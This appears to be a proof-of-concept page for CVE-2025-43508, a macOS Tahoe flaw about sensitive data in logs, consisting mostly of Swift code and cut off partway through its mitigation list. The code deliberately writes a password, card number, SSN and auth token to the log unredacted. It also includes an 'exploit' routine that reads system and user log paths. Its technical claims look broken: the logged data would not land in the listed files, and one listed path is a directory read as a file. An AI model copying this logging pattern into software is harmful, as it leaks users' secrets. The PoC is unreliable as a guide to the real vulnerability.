CVE-2025-43508: macOS Tahoe 日志敏感数据访问漏洞

# CVE-2025-43508 PoC - macOS Tahoe Log Sensitive Data Access # This PoC demonstrates the vulnerability where apps can access sensitive user data through logging import Foundation import os.log class LogSensitiveDataAccess { static let subsystem = "com.test.sensitive-data" static let category = "UserDataAccess" // Simulate sensitive data that should be redacted struct SensitiveUserData { var userName: String var password: String var creditCard: String var ssn: String var authToken: String } // Vulnerable logging - writes sensitive data without redaction func vulnerableLogExample(userData: SensitiveUserData) { let logger = Logger(subsystem: LogSensitiveDataAccess.subsystem, category: LogSensitiveDataAccess.category) // VULNERABILITY: Sensitive fields logged directly without redaction logger.info("User login: \(userData.userName)") logger.info("User password: \(userData.password)") logger.info("Credit card: \(userData.creditCard)") logger.info("SSN: \(userData.ssn)") logger.info("Auth token: \(userData.authToken)") // This data can be read from log files by local apps // Location: ~/Library/Logs/ or /var/log/ } // Exploitation: Read logs to extract sensitive data func exploitReadLogs() { let logPaths = [ "~/Library/Logs/com.apple.log", "/var/log/system.log", "~/Library/Logs/DiagnosticReports/" ] for path in logPaths { let expandedPath = (path as NSString).expandingTildeInPath let fileManager = FileManager.default if fileManager.fileExists(atPath: expandedPath) { // Read log content - sensitive data may be present do { let content = try String(contentsOfFile: expandedPath, encoding: .utf8) // Parse and extract sensitive patterns print("Reading logs from: \(path)") print("Content length: \(content.count)") } catch { print("Error reading log: \(error)") } } } } } // Usage demonstration let testData = LogSensitiveDataAccess.SensitiveUserData( userName: "[email protected]", password: "P@ssw0rd123!", creditCard: "4532-1234-5678-9010", ssn: "123-45-6789", authToken: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." ) let exploit = LogSensitiveDataAccess() exploit.vulnerableLogExample(userData: testData) exploit.exploitReadLogs() /* # Mitigation: # 1. Update to macOS Tahoe 26.1 which includes improved data redaction # 2.
